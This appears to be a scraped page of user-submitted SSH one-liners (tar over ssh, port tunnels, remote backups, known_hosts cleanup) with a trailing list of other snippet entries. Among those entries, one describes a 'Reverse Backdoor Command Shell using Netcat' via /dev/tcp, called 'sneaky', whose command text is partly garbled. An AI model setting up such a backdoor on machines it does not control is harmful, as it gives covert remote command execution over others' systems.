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send a file or directory via ssh compressing with lzma for low trafic
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tar -cf - ./file | lzma -c | ssh user@sshserver $(cd /tmp; tar --lzma -xf -)

glaudiston · 2010-08-13 21:52:17 4
Copy from host 1 to host 2 through your host
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ssh root@host1 ?cd /somedir/tocopy/ && tar -cf ? .? | ssh root@host2 ?cd /samedir/tocopyto/ && tar -xf -?

Matejunkie · 2010-11-27 00:15:57 4
remove hostname from known_hosts
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ssh-keygen -R hostname

harleywastaken · 2011-02-01 18:26:11 7
HTTP GET request on wireshark remotly
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ssh USER@HOST "sudo tshark -i eth0 -f 'tcp port 80 and tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x47455420' -w -" | wireshark -k -i -

bitbasher · 2011-06-16 10:36:32 4
Remove invalid key from the known_hosts file for the IP address of a host

Quick shortcut if you know the hostname and want to save yourself one step for looking up the IP address separately.
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ssh-keygen -R $(dig +short host.domain.tld)

atoponce · 2012-01-19 15:08:50 3
Live stream a remote desktop over ssh using only ffmpeg

Play with the framerate option '-r' to scale back bandwidth usage. The '-s' option is the captured screan area, not the rescaled size. If you want to rescale add a second '-s' option after '-i :0'. Rescaling smaller will also decrease bandwidth.
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ssh user@host "ffmpeg -f x11grab -r 5 -s 1280x720 -i :0 -f avi -" | ffplay - &>/dev/null

buhrietoe · 2012-05-01 06:26:49 5
Copy ssh keys to user@host to enable password-less ssh logins.

Alternative for machines without ssh-copy-id
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cat ~/.ssh/id_rsa.pub | ssh user@host 'cat >> ~/.ssh/authorized_keys'

eneko · 2012-12-08 17:00:47 15
Oneliner to run commands on multiple servers

Oneliner to run commands on multiple servers over ssh. - First parameter "$1" is the command you want to execute remotely. ( It can be multiple commands e.g. "hostname;uptime") - Second parameter "${@:2}" represents the remote host/s you want to run the command/s on. Show Sample Output
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```
$ sxh "hostname;uptime" Host1 Host2
Host1
 11:25am  up 7 days,  4:42,  0 users,  load average: 0.09, 0.08, 0.05
Host2
 11:25am  up 7 days,  4:34,  1 user,  load average: 0.00, 0.00, 0.01
```
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sxh () { for i in "${@:2}"; do ssh "$i" "$1"; done ; }

zlemini · 2013-04-12 11:34:02 8
Get and read log from remote host (works with log on pipe, too)
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ssh remoteUser@remoteHost "tail -f /var/log/scs/remoteLogName" | tee localLogName

scanepa · 2013-09-29 20:32:51 7
Automatically tunnel all ports of running docker instances in boot2docker

It requires https://jqplay.org/, that comes with brew: brew install jq Show Sample Output
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```
none :)
```
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docker ps -q | xargs -n 1 docker inspect | jq '.[0].NetworkSettings.Ports +{} | map(select(. != null)[0].HostPort) | map("-L $.):localhost:\(.)") ' | sed -n 's/.*"\(.*$".*/\1/p' |xargs boot2docker ssh -N

keymon · 2014-07-27 23:30:31 4
oneliner to transfer a directory using ssh and tar

this will tar/send/untrar a whole directory.
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tar cvzf - dir | ssh my_server 'tar xzf -'

snaguber · 2014-07-31 18:14:16 9
Backup VPS disk to another host
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ssh root@vps.example -p22 "cat /dev/sda1 | gzip -1 - " > vps.sda1.img.gz

tianyu · 2019-04-21 05:25:00 36
Rsync using SSH and outputing results to a text file

--delete will delete copies on remote to match local if deleted on local --stats will output the results -z zip -a archive -A preserve ACL -x don't cross filesystem boundaries -h human readable -e specify the remote shell to use
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rsync --delete --stats -zaAxh -e ssh /local_directory/ username@IP_of_remote:/Remote_Directory/ > /Text_file_Directory/backuplog.txt

chicagonpg · 2019-09-10 21:00:29 90
SSH to a machine's internet address if it is not present on your local network

Ping machine once, waiting 1 second for response until failing. Upon fail, ssh globally, otherwise ssh locally.
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ping localip -c 1 -W 1 &> /dev/null && ssh localip || ssh globalip

trey · 2009-02-05 10:40:26 524
Validate openssh key & print checksum
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ssh-keygen -l -f [pubkey] | awk '{print $2}' | tr -ds ':' '' | egrep -ie "[a-f0-9]{32}"

wwest4 · 2009-02-05 17:42:30 16
Adhoc tar backup

Creates a quick backup with tar to a remote host over ssh.
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tar -cvzf - /source/path | ssh <targethostname> -l <username> dd of=/destination/path/backupfile.tgz

smm · 2009-02-06 15:52:09 12
run command on a group of nodes in parallel
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echo -n m{1..5}.cluster.net | xargs -d' ' -n1 -P5 -I{} ssh {} 'uptime'

jianingy · 2009-02-08 12:34:04 15
tunnel vnc port

Foward vnc securely from exampleserver.com Show Sample Output
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```
user@exampleserver.com's password:
```
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ssh -L 5900:localhost:5900 user@exampleserver.com

Jackie · 2009-02-13 04:53:27 9
Connect to remote machine with other enconding charset
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LC_ALL=fr_FR luit ssh root@remote_machine_ip

irraz · 2009-03-03 22:42:37 5
Copy files and directories from a remote machine to the local machine

This command will copy files and directories from a remote machine to the local one. Ensure you are in the local directory you want to populate with the remote files before running the command. To copy a directory and it's contents, you could: ssh user@host "(cd /path/to/a/directory ; tar cvf - ./targetdir)" | tar xvf - This is especially useful on *nix'es that don't have 'scp' installed by default.
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ssh user@host "(cd /path/to/remote/top/dir ; tar cvf - ./*)" | tar xvf -

dopeman · 2009-03-31 13:08:45 9
Backup with SSH in a archive

PRIVATEKEY - Of course the full path to the private key \n HOST - The host where to get the backup \n SOURCE - The directory you wish to backup \n DESTINATION - The destination for the backup on your local machine
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ssh -i $PRIVATEKEY $HOST -C 'cd $SOURCE; tar -cz --numeric-owner .' | tee $DESTINATION/backup.tgz | tar -tz

GeckoDH · 2009-05-18 20:36:45 4
clone a hard drive to a remote directory via ssh tunnel, and compressing the image
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# dd if=/dev/sda | gzip -c | ssh user@ip 'dd of=/mnt/backups/sda.dd'

coolman · 2009-07-06 19:05:55 7
Pull up remote desktop for other than gnome/kde eg fluxbox

If the remote doesn't export its desktop (eg fluxbox, blackbox etc) then you need to run a x11vnc server there and a vncviewer at the local end. This command does the lot for you - it assumes that you can 'ssh' to the box without a password and that x11vnc is installed at the remote end.
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rdp() { ssh $1 sh -c 'PATH=$PATH:/usr/local/bin; x11vnc -q -rfbauth ~/.vnc/passwd -display :0' & sleep 4; vncviewer $1:0 & }

bhepple · 2009-11-25 07:21:02 3
test moduli file generated for openssh

this command test the moduli file generated by the command ssh-keygen -G /tmp/moduli-2048.candidates -b 2048 . The test can be long depend of your cpu power , around 5 minutes to 30 minutes
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ssh-keygen -T moduli-2048 -f /tmp/moduli-2048.candidates

eastwind · 2010-01-29 19:35:21 3
Skip banner on ssh login prompt

This allows you to skip the banner (usually /etc/issue.net) on ssh connections. Useful to avoid banners outputted to your mail by rsync cronjobs.
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ssh -q user@server

KoRoVaMiLK · 2010-03-24 12:02:55 4
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Find usb device in realtime

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use the previous commands params in the current command

Here the !!:1 will take the first parameter from the previous command. This can be used in conjunction with other history commands like ! and so on.

Reverse Backdoor Command Shell using Netcat

This is sneaky. First, start a listening service on your box. $ nc -l 8080 -vvv & On the target you will create a new descriptor which is assigned to a network node. Then you will read and write to that descriptor. $ exec 5/dev/tcp//8080;cat &5 >&5; done You can send it to the background like this: $ (exec 5/dev/tcp//8080;cat &5 >&5;) & Now everything you type in our local listening server will get executed on the target and the output of the commands will be piped back to the client.

Which processes are listening on a specific port (e.g. port 80)

swap out "80" for your port of interest. Can use port number or named ports e.g. "http"

Add line number count as C-style comments

I often find the need to number enumerations and other lists when programming. With this command, create a new file called 'inputfile' with the text you want to number. Paste the contents of 'outputfile' back into your source file and fix the tabbing if necessary. You can also change this to output hex numbering by changing the "%02d" to "%02x". If you need to start at 0 replace "NR" with "NR-1". I adapted this from http://osxdaily.com/2010/05/20/easily-add-line-numbers-to-a-text-file/.

Random unsigned integer

Reads 4 bytes from the random device and formats them as unsigned integer between 0 and 2^32-1.

create random string from /dev/urandom (or another length)

Debug a remote php application (behind firewall) using ssh tunnel for XDEBUG port 9000

If you need to xdebug a remote php application, which is behind a firewall, and you have an ssh daemon running on that machine. you can redirect port 9000 on that machine over to your local machine from which you run your xdebug client (I am using phpStorm) So, run this command on your local machine and start your local xdebug client, to start debugging. more info: http://code.google.com/p/spectator/wiki/Installing

suspend to ram without root

$dbus-send --system --print-reply --dest="org.freedesktop.UPower" /org/freedesktop/UPower org.freedesktop.UPower.Suspend

cpu and memory usage top 10 under Linux

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